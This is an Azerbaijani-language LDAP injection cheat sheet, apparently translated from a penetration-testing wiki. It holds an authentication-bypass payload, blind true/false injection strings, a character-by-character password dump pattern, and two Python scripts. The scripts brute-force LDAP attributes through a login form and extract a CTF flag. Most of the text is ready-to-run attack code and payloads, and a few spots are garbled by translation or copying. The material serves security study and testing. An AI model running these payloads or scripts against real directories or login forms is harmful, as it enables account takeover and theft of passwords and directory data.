LDAP Injection istifadəçi daxiletməsi əsasında LDAP bəyanatlarını yaradan veb əsaslı proqramlardan istifadə etmək üçün istifadə edilən hücumdur. Tətbiq istifadəçi daxiletməsini lazımi qaydada sanitarlaşdıra bilmədikdə, yerli proksidən istifadə edərək LDAP ifadələrini dəyişdirmək mümkündür.
LDAP parolu saxlamaq üçün bir neçə formatı dəstəkləyir: clear, md5, smd5, sh1, sha, crypt. Beləliklə, parolun içərisinə daxil etdiyinizdən asılı olmayaraq, o, heşlənmiş ola bilər.
username = admin)(!(&(|
pass = any))
--> (&(uid= admin)(!(& (|) (webpassword=any)))) —> As (|) is FALSE then the user is admin and the password check is True.
Hər hansı bir məlumatın qaytarıldığını yoxlamaq və mümkün Bind LDAP Enjeksiyonunu təsdiqləmək üçün Yanlış və ya Doğru cavabları məcbur edə bilərsiniz:
#Bu, True ilə nəticələnəcək, ona görə də bəzi məlumatlar göstəriləcək
Payload: *)(objectClass=*))(&objectClass=void
Final query: (&(objectClass= *)(objectClass=*))(&objectClass=void )(type=Pepi*))
#Bu, True ilə nəticələnəcək, ona görə də heç bir məlumat qaytarılmayacaq və ya göstərilməyəcəkPayload: void)(objectClass=void))(&objectClass=void
Final query: (&(objectClass= void)(objectClass=void))(&objectClass=void )(type=Pepi*))
Dump data
Siz ascii hərfləri, rəqəmləri və simvolları üzərində təkrarlaya bilərsiniz:
(&(sn=administrator)(parol=*)) : OK
(&(sn=administrator)(parol=A*)) : KO
(&(sn=administrator)(parol=B*)) : KO
...
(&(sn=administrator)(parol=M*)) : OK
(&(sn=administrator)(parol=MA*)) : KO
(&(sn=administrator)(parol=MB*)) : KO
...
Skriptlər
Etibarlı LDAP sahələrini kəşf edin
LDAP obyektləri standart olaraq məlumatı saxlamaq üçün istifadə edilə bilən bir neçə atributdan ibarətdir. Bu məlumatı çıxarmaq üçün onların hamısını kobud şəkildə zorlamağa cəhd edə bilərsiniz. Defolt LDAP atributlarının siyahısını burada tapa bilərsiniz.
#!/usr/bin/python3
import requests
import string
from time import sleep
import sys
proxy = { "http": "localhost:8080" }
url = "http://10.10.10.10/login.php"
alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;"
attributes = ["c", "cn", "co", "commonName", "dc", "facsimileTelephoneNumber", "givenName", "gn", "homePhone", "id", "jpegPhoto", "l", "mail", "mobile", "name", "o", "objectClass", "ou", "owner", "pager", "password", "sn", "st", "surname", "uid", "username", "userPassword",]
for attribute in attributes: #Extract all attributes
value = ""
finish = False
while not finish:
for char in alphabet: #In each possition test each possible printable char
query = f"*)({attribute}={value}{char}*"
data = {'login':query, 'password':'bla'}
r = requests.post(url, data=data, proxies=proxy)
sys.stdout.write(f"\r{attribute}: {value}{char}")
#sleep(0.5) #Avoid brute-force bans
if "Cannot login" in r.text:
value += str(char)
break
if char == alphabet[-1]: #If last of all the chars, then, no more chars in the value
finish = True
print()pyt
Xüsusi Blind LDAP Enjeksiyonu ("*" olmadan)
#!/usr/bin/python3
import requests, string
alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;"
flag = ""
for i in range(50):
print("[i] Looking for number " + str(i))
for char in alphabet:
r = requests.get("http://ctf.web??action=dir&search=admin*)(password=" + flag + char)
if ("TRUE CONDITION" in r.text):
flag += char
print("[+] Flag: " + flag)
break